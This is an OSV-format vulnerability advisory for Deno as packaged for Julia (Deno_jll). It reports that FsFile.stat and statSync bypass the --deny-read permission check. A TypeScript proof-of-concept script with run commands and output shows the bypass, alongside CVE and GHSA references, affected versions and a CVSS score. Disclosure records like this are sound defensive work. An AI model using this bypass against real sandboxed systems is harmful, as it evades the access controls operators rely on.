{"id":"JLSEC-2026-112","summary":"Deno's --deny-read check does not prevent permission bypass","details":"### Summary\n\n`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.\n\nIt's possible to retrieve stats from files that the user do not have explicit read access to  (the script is executed with `--deny-read=./`)\n\nSimilar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test1.txt\n```\n\n  - `poc_file.stat.ts`\n\n```ts\n// touch test1.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1\n// deno run --allow-write=./ poc_file.stat.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = await file.stat();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2\n// deno run --allow-write=./ poc_file.stat.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test1.txt\", { read: false, write: true});\n    const fileInfo = file.statSync();\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.stat\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3\n// deno run --allow-write=./ poc_file.stat.ts 3\nasync function poc3(){\n    // not executed\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n// https://docs.deno.com/api/deno/~/Deno.statSync\n// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4\n// deno run --allow-write=./ poc_file.stat.ts 4\nfunction poc4(){\n    // not executed\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n    console.log(fileInfo.isFile);\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"read\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n\n  - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n  - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\ntrue\n```\n\n  - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = await Deno.stat(\"./test1.txt\");\n                                ^\n    ...\n```\n\n  - `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`\n\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires read access to \"./test1.txt\", run again with the --allow-read flag\n    const fileInfo = Deno.statSync(\"./test1.txt\");\n                          ^\n    ...\n```\n\n### Impact\n\nPermission model bypass","modified":"2026-07-18T00:01:28.690901112Z","published":"2026-04-14T13:10:46.494Z","upstream":["CVE-2025-61786","GHSA-qq26-84mh-26j9","EUVD-2025-33180"],"database_specific":{"sources":[{"modified":"2026-06-17T09:50:54.057Z","published":"2025-10-08T01:15:33.010Z","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-61786","html_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61786","database_specific":{"status":"Analyzed"},"id":"CVE-2025-61786","imported":"2026-07-17T21:10:16.623Z"},{"published":"2025-10-08T17:56:40Z","url":"https://api.github.com/advisories/GHSA-qq26-84mh-26j9","html_url":"https://github.com/advisories/GHSA-qq26-84mh-26j9","id":"GHSA-qq26-84mh-26j9","imported":"2026-07-17T21:10:16.781Z","modified":"2025-10-08T17:56:41Z"},{"id":"EUVD-2025-33180","imported":"2026-07-17T21:10:26.686Z","modified":"2025-10-08T18:54:33Z","published":"2025-10-08T00:49:42Z","url":"https://euvdservices.enisa.europa.eu/api/enisaid?id=EUVD-2025-33180","html_url":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2025-33180"}],"license":"CC-BY-4.0"},"references":[{"type":"WEB","url":"https://github.com/advisories/GHSA-qq26-84mh-26j9"},{"type":"WEB","url":"https://github.com/denoland/deno/commit/1ab2268c0bcbf9b0468e0e36963f77f8c31c73ec"},{"type":"WEB","url":"https://github.com/denoland/deno/pull/30876"},{"type":"WEB","url":"https://github.com/denoland/deno/releases/tag/v2.2.15"},{"type":"WEB","url":"https://github.com/denoland/deno/releases/tag/v2.5.3"},{"type":"WEB","url":"https://github.com/denoland/deno/security/advisories/GHSA-qq26-84mh-26j9"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-61786"}],"affected":[{"package":{"name":"Deno_jll","ecosystem":"Julia","purl":"pkg:julia/Deno_jll?uuid=04572ae6-984a-583e-9378-9577a1c2574d"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.6.3+0"}]}],"database_specific":{"source":"https://github.com/JuliaLang/SecurityAdvisories.jl/tree/generated/osv/2026/JLSEC-2026-112.json"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N"}],"credits":[{"name":"dellalibera","contact":["https://github.com/dellalibera"],"type":"REPORTER"}]}